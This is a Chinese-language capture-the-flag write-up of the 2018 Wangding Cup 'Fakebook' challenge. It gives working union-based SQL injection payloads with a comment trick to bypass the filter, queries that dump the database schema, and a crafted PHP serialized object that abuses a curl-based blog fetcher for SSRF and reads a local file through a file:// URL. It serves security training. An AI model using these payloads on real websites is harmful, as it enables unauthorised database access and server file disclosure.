[網鼎杯 2018]Fakebook 1
阿新 • • 發佈:2021-10-26
1.發現
1.1開啟題目地址,嘗試登入,發現注入點,sqlmap跑一下無果。
知識點
1)sqlmap的使用
(35條訊息) sqlmap注入使用教程_黑麵狐-CSDN部落格_sqlmap注入教程
2.步驟
2.1嘗試注入,發現有反序列化
no=1 order by 4#沒事 no=1 order by 5#報錯,有4列 no=-1 union/**/select 1,2,3,4#過濾了(union select)用/**/代替空格
2.2報表名
no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
2.3爆屬性列
no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
2.4爆欄位
2.5dirsearch掃描路徑得到robot.txt,開啟路徑,下載user.php.bak檔案。
知識點
1)dirsearch使用
目錄掃描工具 dirsearch 使用詳解 - 時光如水の總是無言 - 部落格園 (cnblogs.com)
2.檢視內容,這部分可能存在ssrf。
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch= curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
2.7在這題,檢視原始碼發現data欄位存在漏洞。
2.8而我們爆出的欄位data是序列化後的字串
說明註冊時會序列化我們的資訊,回顯到頁面時再反序列化。
這個data本來回顯的是我們自己的部落格,但我們把它改為回顯flag.php就可以構成ssrf
修改自己最後blog欄位內容,改為file:///var/www/html/flag.php
,並把對應的s改為對應長度29
data欄位在第4位,所以放在第4位。
構造payload
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
2.9開啟連結,得到flag。
3.借鑑